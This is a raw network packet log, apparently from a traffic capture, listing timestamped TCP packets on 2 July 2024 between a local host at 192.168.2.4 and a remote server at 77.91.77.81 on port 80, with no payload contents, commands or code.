Jul 2, 2024 15:26:26.841994047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.842004061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.842005014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.842024088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.842029095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.842034101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.842046976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.842052937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.842070103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.842072010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.842097998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.842116117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.842729092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.845565081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.886934996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.887161016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.887171030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.887196064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.887209892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.887224913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.887236118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.887368917 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.887368917 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.887528896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.887576103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.887603045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.887623072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.887665987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.887793064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.887804031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.887820959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.887866974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.888070107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.893559933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.922557116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.922698975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.922727108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.922878981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.922892094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.922904968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.922941923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.922986031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.922996044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.923017025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.923029900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.923033953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.923064947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.923326969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.923336983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.923355103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.923374891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.923378944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.923393011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.923393965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.923418045 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.923434019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.923826933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.923836946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.923857927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.923872948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.923885107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.923892021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.923916101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.924335003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.924345016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.924361944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.924369097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.924371958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.924388885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.924393892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.924401999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.924417019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.924420118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.924429893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.924438953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.924444914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.924459934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.924463987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.924473047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.924490929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.924511909 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.925246000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.925256968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.925273895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.925287962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.925292969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.925301075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.925317049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.925317049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.925328970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.925333977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.925343990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.925359011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.925359964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.925369978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.925379992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.925405979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.926156044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.926170111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.926183939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.926194906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.926209927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.926227093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.926230907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.926242113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.926244974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.926258087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.926266909 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.926273108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.926282883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.926292896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.926301003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.926311016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.926336050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.927056074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.927069902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.927086115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.927098989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.927113056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.927126884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.927133083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.927141905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.927153111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.927154064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.927170992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.927176952 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.927182913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.927192926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.927226067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.927978992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.927989006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.927994013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928006887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928015947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928031921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928045988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928061008 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.928061962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928073883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928083897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928088903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928090096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.928126097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.928869009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928880930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928898096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928910971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928926945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.928926945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928941011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928952932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.928956985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928966999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.928971052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.928987980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.929003000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.929013968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.929048061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.929704905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.929718018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.929735899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.929749966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.929760933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.929791927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.929807901 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.959536076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.959598064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.959608078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.959621906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.959666014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.959726095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.959816933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.959829092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.959846020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.959857941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.959873915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.959886074 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.959913969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.960088015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.960098028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.960129023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.960129023 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.960141897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.960145950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.960159063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.960163116 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.960185051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.960194111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.960454941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.960494995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.960761070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.960772038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.961929083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.975729942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.975805044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.975816011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.975904942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.976016045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.976027012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.976042032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.976052999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.976066113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.976084948 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.976105928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.976578951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.976648092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.976660013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.976708889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.976857901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.976867914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.976886034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.976897955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:26.976924896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:26.976934910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.011856079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.011868000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.011890888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.011980057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.012099981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.012109995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.012129068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.012139082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.012177944 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.012188911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.012321949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.013140917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.013202906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.013212919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.013248920 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.013273001 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.013421059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.013431072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.013448954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.013461113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.013489962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.013510942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.013782024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.013792038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.013809919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.013822079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.013849020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.013873100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.014081955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.014209032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.014224052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.014234066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.014250040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.014264107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.014264107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.014281988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.014287949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.014295101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.014306068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.014311075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.014329910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.014350891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.015074968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.015084028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.015105963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.015115023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.015127897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.015131950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.015144110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.015160084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.015161991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.015172958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.015183926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.015189886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.015202999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.015202999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.015228987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.015253067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.015942097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.015955925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.015966892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.015984058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.015995979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.016000032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016012907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016024113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.016030073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016037941 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.016041040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016055107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016060114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.016078949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.016081095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016099930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.016123056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.016838074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016855001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016871929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016885042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016897917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016908884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.016911983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016927958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016936064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.016942024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016951084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.016956091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016972065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.016978979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.016999960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.017024994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.017748117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.017761946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.017781019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.017792940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.017807961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.017817974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.017821074 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.017834902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.017846107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.017849922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.017858028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.017863989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.017879009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.017894030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.017915964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.018651009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.018661976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.018678904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.018691063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.018693924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.018704891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.018719912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.018723965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.018729925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.018743992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.018750906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.018762112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.018769026 CEST	49744	80	192.168.2.4	77.91.77.81
